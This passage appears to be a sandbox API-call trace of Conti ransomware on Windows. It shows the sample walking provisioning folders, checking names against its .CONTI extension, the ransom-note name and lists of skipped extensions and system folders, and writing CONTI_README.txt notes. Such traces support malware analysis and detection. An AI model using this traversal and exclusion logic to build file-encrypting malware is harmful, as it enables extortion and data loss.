	[0106.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\"
	[0106.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.627] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5365e363, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5365e363, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.627] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.627] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.627] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.627] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.627] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5365e363, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5365e363, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.627] GetProcessHeap () returned 0x1720000
	[0106.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.627] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0106.627] GetProcessHeap () returned 0x1720000
	[0106.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.627] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.627] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.627] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.627] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.627] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned 81
	[0106.627] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.627] GetProcessHeap () returned 0x1720000
	[0106.627] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510208
	[0106.627] lstrcpyW (in: lpString1=0x6510208, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov"
	[0106.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\"
	[0106.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml"
	[0106.628] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.628] GetProcessHeap () returned 0x1720000
	[0106.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6586d80 | out: hHeap=0x1720000) returned 1
	[0106.628] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0106.628] GetProcessHeap () returned 0x1720000
	[0106.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.628] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.628] GetProcessHeap () returned 0x1720000
	[0106.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e810 | out: hHeap=0x1720000) returned 1
	[0106.628] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0106.628] GetProcessHeap () returned 0x1720000
	[0106.628] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f1e8 | out: hHeap=0x1720000) returned 1
	[0106.628] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2=".") returned 1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="..") returned 1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="tmp") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="winnt") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="Application Data") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="AppData") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="temp") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="thumb") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="$Recycle.Bin") returned 1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="$RECYCLE.BIN") returned 1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="System Volume Information") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="Program Files") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="Program Files (x86)") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="Boot") returned -1
	[0106.628] lstrcmpiW (lpString1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="Windows") returned -1
	[0106.628] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.628] lstrlenW (lpString="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 38
	[0106.628] GetProcessHeap () returned 0x1720000
	[0106.628] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e6c0
	[0106.629] lstrcpyW (in: lpString1=0x173e6c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.629] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 76
	[0106.629] GetProcessHeap () returned 0x1720000
	[0106.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ed50
	[0106.629] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*"
	[0106.629] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 76
	[0106.629] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.629] GetProcessHeap () returned 0x1720000
	[0106.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510848
	[0106.629] lstrcpyW (in: lpString1=0x6510848, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\"
	[0106.629] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\CONTI_README.txt"
	[0106.629] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.631] GetProcessHeap () returned 0x1720000
	[0106.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510848 | out: hHeap=0x1720000) returned 1
	[0106.631] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.632] CloseHandle (hObject=0x3a8) returned 1
	[0106.632] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0106.632] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.632] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.632] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.632] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.632] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5365e363, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5365e363, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5365e363, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.632] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.632] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.632] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.632] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.632] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.632] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.632] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.632] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.633] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.633] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.633] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 76
	[0106.633] lstrlenW (lpString="customizations.xml") returned 18
	[0106.633] GetProcessHeap () returned 0x1720000
	[0106.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6511018
	[0106.633] lstrcpyW (in: lpString1=0x6511018, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\"
	[0106.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"
	[0106.633] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.633] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.633] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.633] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.633] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 76
	[0106.633] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.633] GetProcessHeap () returned 0x1720000
	[0106.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181cd58
	[0106.633] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\"
	[0106.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml"
	[0106.633] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.633] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.634] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.634] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned 76
	[0106.634] lstrlenW (lpString="Prov") returned 4
	[0106.634] GetProcessHeap () returned 0x1720000
	[0106.634] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.634] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}"
	[0106.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\"
	[0106.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov"
	[0106.634] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned 81
	[0106.634] GetProcessHeap () returned 0x1720000
